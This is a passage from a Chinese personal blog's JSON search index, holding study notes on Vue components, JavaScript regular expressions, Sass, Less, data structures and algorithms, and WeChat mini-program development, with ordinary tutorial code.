/\u0026gt;\r`\r})\r决定渲染组件由hallo决定,在上面例子中可以看到hallo指向了test，因此渲染的是test，不需要手动设置子组件，而是动态设置，只需要修改:is指向的值就可以了\n而且当使用动态组件时，切换该组件后，该组件的状态将会失活，无法保存状态，需要搭配使用，保存这些状态，不只是方便保存缓存，而且还可以避免重新渲染\n异步组件\nconst app = Vue.createApp({\rdata(){\rreturn {\rhallo:'asyncs'\r}\r},\rtemplate: ` \u0026lt;keep-alive\u0026gt;\r\u0026lt;component :is=\u0026quot;hallo\u0026quot;\u0026gt;\u0026lt;/component\u0026gt;\r\u0026lt;/keep-alive\u0026gt;\r`\r})\rapp.component('asyncs', Vue.defineAsyncComponent(() =\u0026gt; {\rreturn new Promise((resolve, reject) =\u0026gt; {\rsetTimeout(() =\u0026gt; {\rresolve({\rtemplate: `\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;`\r})\r},1000)\r})\r}))\rconst vm = app.mount(\u0026quot;#app\u0026quot;)\r可以看到该组件并不会立马渲染，该组件不会在第一次加载渲染时显示，而是当需要用到它时才会渲染，可以优化页面首次渲染性能\nprovide/inject\n当存在多级组件时，祖先组件想传递组件给子孙组件时，如果使用props传递数据的话，需要一层接收然后在传递给后辈，非常麻烦\nconst app = Vue.createApp({\rdata(){\rreturn {num: 100}\r},\rprovide:{\rhaha: 200\r},\rtemplate: `\r\u0026lt;hallo :num=\u0026quot;num\u0026quot; /\u0026gt;\r`\r})\rapp.component('hallo',{\rprops:['num'],\rinject:['haha'],\rtemplate:`\r\u0026lt;div\u0026gt;{{num}},{{haha}}\u0026lt;/div\u0026gt;\r`\r})\r这里只是举个例子，如果是多层组件结构，这个方法也是可以发送和接收到的，只需要provide发送一下数据，然后子组件inject接收一下\n\u0026ndash;\nVue.extend()，vue基础构造器，会创建一个子类，参数是包含组件的对象，例如：\n\u0026lt;div id='app'\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst Test = Vue.extend({\rtemplate: '\u0026lt;p\u0026gt;{{a}} {{b}} {{c}}\u0026lt;/p\u0026gt;',\rdata: function () {\rreturn {\ra: 'hallo',\rb: 'abc',\rc: 'xyz'\r}\r}\r})\rnew Test().$mount('#app')\r\u0026lt;script\u0026gt;\r受控组件和非受控组件\n","permalink":"https://xiaochenabc123.github.io/posts/53/","summary":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;datas-a\u0026gt;\u0026lt;/datas-a\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst datas ={\rtemplate: `\r\u0026lt;div\u0026gt;\rhallo\r\u0026lt;/div\u0026gt;\r`\r}\rconst hallo = Vue.createApp({\rcomponents: {\r\u0026quot;datas-a\u0026quot; : datas\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\rcomponents对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={\rcomponents: {\r\u0026quot;datas-a\u0026quot; : dataa\r}\r}\r模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from \u0026lsquo;./datas\u0026rsquo;\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({\rcomponent: {\rprops:{\rabc: String,\rxyz: Boolean,\r},\rtemplate: `\u0026lt;h1\u0026gt;{{abc.","title":"深入学习vue组件"},{"content":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;\n*相当于\u0026gt;=0，出现0次或者n次都返回true\nvar hallo = /a+/;\n+相当于\u0026gt;=1，出现1次或者n次返回true\nvar hallo = /a?/;\n?相当于 0 || 1，只要出现0次或者1次返回true\n{n}：重复n次\n{n,}：重复次数大于等于n次\n{n,i}：重复次数大于等于n，并且小于等于16\n量词是设定规则出现的次数\n例如：\nvar hallo = /^[a-zA-Z0-9_-]{6,16}$/; console.log(hallo.test(\u0026ldquo;hallo123\u0026rdquo;)); // true\nvar hallo = /(abc){3}/;\n将abc重复3次，abcabcabc才返回true\n预定义类\n预定义类指的是一些常用规则的简写，大小写敏感\n\\d：匹配0-9的任何数字 \\D：匹配所有0-9以外的字符，取反 \\w：匹配任何的字母，数字，下划线，相当于[a-zA-Z0-9_-] \\W：匹配任何的字母，数字，下划线以外的字符，取反 \\s：匹配空格（包含换行符，制表符，空格符等），相当于[\\t\\r\\n\\v\\f] \\S：匹配非空格，相当于[^\\t\\r\\n\\v\\f]\n\\b 单词边界 /\\bhello\\b/` \\B 除了单词边界\n[^] 除了 [] 选择 - 之间 | 或 ^ 匹配开头 $ 匹配尾\n替换\nreplace()，可以替换字符串或者正则表达式\nreplace(匹配字符串,被替换的字符串)\n字符串\nvar hallo = \u0026ldquo;hallo\u0026rdquo;;\nhallo.replace(\u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;hi\u0026rdquo;);\n正则表达式\nvar hallo = \u0026ldquo;hallo\u0026rdquo;;\nhallo.replace(\u0026quot;/hallo/\u0026quot;,\u0026ldquo;hi\u0026rdquo;);\n正则表达式参数\n/表达式/[修饰符]\n修饰符有3个值\ng：全局匹配\ni：忽略大小写\ngi：全局匹配+忽略大小写\n例如：\nvar hallo = \u0026ldquo;hallo\u0026rdquo;;\nhallo.replace(\u0026quot;/hallo|hi/g\u0026quot;,\u0026quot;*\u0026quot;);\n正向预查和负向预查\n正则捕获的懒惰性和贪婪性\n","permalink":"https://xiaochenabc123.github.io/posts/52/","summary":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;","title":"正则表达式学习笔记"},{"content":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass \u0026ndash;save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass \u0026ndash;style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass \u0026ndash;watch hallo.scss:hallo.css\n监听目录\nsass \u0026ndash;watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc;\r#app{\rcolor: $color;\r}\r变量也可以嵌套到属性中\n$right: right;\r#app{\rmargin-#{$right}: 50px;\r}\r运算\n允许使用加减乘除运算\n#app{\rwidth: 100px + 20px;\rheight: (300px / 3) * 2;\r}\r嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：\n.nav{\rpadding: 100px;\r.nav-ul{\rright: left;\r.nav-li{\rmargin: 10px;\r}\r}\u0026amp;:hover{\rcolor: #ccc;\r}\r}\r伪类或者伪元素需要在其前面加\u0026amp;\n继承\nsass可以将一个样式集继承到另一个继承集中\n.container{\rwidth: 100px;\r}\r#app{\r@extend .container;\rheight: 100px;\r}\r混合\n@mixin width{\rwidth: 100px;\r}\r#app{\r@include: width;\r}\r混合和继承的区别就是，混合可以指定参数\n@mixin width($nums: 60px){\rwidth: $nums;\r}\r#app{\r@include: width(100px);\r}\r函数\n提供了一下函数来处理颜色之类的\ngrayscale(#333)\n导入外部文件\n导入scss文件 @import \u0026ldquo;scss/hallo.scss\u0026rdquo;;\n导入css文件 @import \u0026ldquo;css/hallo.css\u0026rdquo;\n条件判断\n#app{\r@if 100 \u0026lt; 60 { width: 100px;\r} @else {\rwidth: 60px;\r}\r}\r循环\nfor\n@for $i from 1 to 6 {\r.col-#{$i} {\rborder: #{$i}px solid #ccc;\r}\r}\rwhile\n$i : 6;\r@while $i \u0026gt; 0 {\r.col-#{$i} {\rwidth: 100px * $i;\r}\r$i : $i - 1;\r}\reach\n@each $nums in 1,2,3 {\r.col-#{$nums} {\rbackground-image: url(\u0026quot;/image/#{$nums}.jpg\u0026quot;);\r}\r}\r自定义函数\n@function hallo($i) {\r@return ($i * 2) + 100;\r}\r#app {\rwidth: hallo(10px);\r}\r","permalink":"https://xiaochenabc123.github.io/posts/51/","summary":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass \u0026ndash;save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass \u0026ndash;style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass \u0026ndash;watch hallo.scss:hallo.css\n监听目录\nsass \u0026ndash;watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc;\r#app{\rcolor: $color;\r}\r变量也可以嵌套到属性中\n$right: right;\r#app{\rmargin-#{$right}: 50px;\r}\r运算\n允许使用加减乘除运算\n#app{\rwidth: 100px + 20px;\rheight: (300px / 3) * 2;\r}\r嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：","title":"CSS预处理器-Sass学习笔记"},{"content":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc;\r#app{\rbackground-color: @color;\r}\rless编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{\rwidth: 100px;\rdiv{\rwidth: 60px;\r}\r}\r伪类或者伪元素选择之类的，需要加\u0026amp;连接起来，不加则认为是后代\n#app{\rwidth: 100px;\ra{\rcolor: #000;\r\u0026amp;:hover{\rcolor: @color;\r}\r\u0026amp;::before{\rwidth: 30px;\r}\r} }\rless运算\n数值，颜色，变量都可以参与运算，加减乘除\n@width: 50px;\r#app{\rwidth: 100px - 10;\rheight: 100px * 3;\rdiv{\rwidth: (@width / 30) * 6;\r}\r}\r#app{\rcolor: #666 - #333;\r}\r上面得到的是#333\n注意：\n如果有两个不同单位的值运算，运算结果单位取第一个值的单位\n如果有两个值，它们只要一个单位，取该单位作为运算结果单位\n运算符中间左右两边要有空格分开\n混合\n混合（Mixin）可以将一组属性从包含到另一个集合中，例如：\n.container{\rmax-width: 980px;\rmargin-left: auto;\rmargin-right: auto;\r}\r#app{\r.container\r}\r转义\n转义允许使用任意字符串作为属性或者变量值，例如：\n@max768: ~\u0026quot;(max-width: 768px)\u0026quot;~\r.nav-svg{\r@media @max768{\rdisplay: none;\r}\r}\r函数\nless内置了多个函数，用于算术运算，颜色处理等等\n@width: 0.6;\r#app{\rwidth: percentage(@width); // 60%\r}\r映射\n映射支持less3.5以上版本，例如：\n#data(){\rwidth: 100px;\r}\r#app{\rwidth: #data[width];\r}\r","permalink":"https://xiaochenabc123.github.io/posts/50/","summary":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc;\r#app{\rbackground-color: @color;\r}\rless编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{\rwidth: 100px;\rdiv{\rwidth: 60px;\r}\r}\r伪类或者伪元素选择之类的，需要加\u0026amp;连接起来，不加则认为是后代\n#app{\rwidth: 100px;\ra{\rcolor: #000;\r\u0026amp;:hover{\rcolor: @color;\r}\r\u0026amp;::before{\rwidth: 30px;\r}\r} }\rless运算","title":"CSS预处理器-Less学习笔记"},{"content":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数\n得到的就是大O阶\n线性阶\n一般含有非嵌套循环涉及线性阶，线性阶就是随着问题规模n的扩大，对应计算次数呈直线增长\n平方阶\n循环的时间复杂度等于循环体的复杂度乘以该循环运行的次数\n对数阶\n","permalink":"https://xiaochenabc123.github.io/posts/49/","summary":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数","title":"数据结构与算法学习笔记"},{"content":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\u0026quot;pages\u0026quot;:[\r\u0026quot;pages/index/index\u0026quot;,\r\u0026quot;pages/demo/demo\u0026quot;\r],\rwindow属性是设置小程序的窗口样式，例如：\n\u0026quot;window\u0026quot;:{\r\u0026quot;backgroundTextStyle\u0026quot;:\u0026quot;light\u0026quot;,\r\u0026quot;navigationBarBackgroundColor\u0026quot;: \u0026quot;#fff\u0026quot;, // 导航栏背景颜色\r\u0026quot;navigationBarTitleText\u0026quot;: \u0026quot;Weixin\u0026quot;, // 导航栏文本\r\u0026quot;navigationBarTextStyle\u0026quot;:\u0026quot;black\u0026quot; // 导航栏文本颜色\r},\r从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似\nimage元素是表示图片，和img类似\nswiper元素是用来搞轮播图\n属性\n\u0026lt;view 属性=\u0026ldquo;属性值\u0026rdquo;\u0026gt;\nbindtap属性可绑定事件函数\nhidden属性控制元素是否隐藏，true为隐藏\nwxss样式，采用css样式语法，和写普通的css样式一样，选择器属性样式之类的就不写了，具备css大部分的特性，具体看我写的css笔记，背景，字体，边框，定位，大小之类的，用法是一样的，可以给wxml标签设置class，采用的是W3C标准盒模型，另外小程序官方推荐使用flex布局\n推荐静态样式写入class中，style用来接收动态的样式，避免出样式优先级问题，例如：\nAlt+shift+f：自动格式化代码\n注意：微信小程序的基本单位是rpx，而不是px，不管是什么页面（无论多大或者多小），页面100%就是750rpx，因此页面的1%等于7.5rpx\n另外微信官方提供了一套UI框架，https://weui.io/，github库地址：https://github.com/Tencent/weui-wxss/\n用法，直接引用weui.wxss，然后像用bootstrap一样，给标签加类\n例子：\n\u0026lt;view style=\u0026quot;width:100rpx;height:100rpx;background-color:{{color}}\u0026quot;\u0026gt;hallo wrod\u0026lt;/view\u0026gt;\rPage({\rdata: {\rcolor: 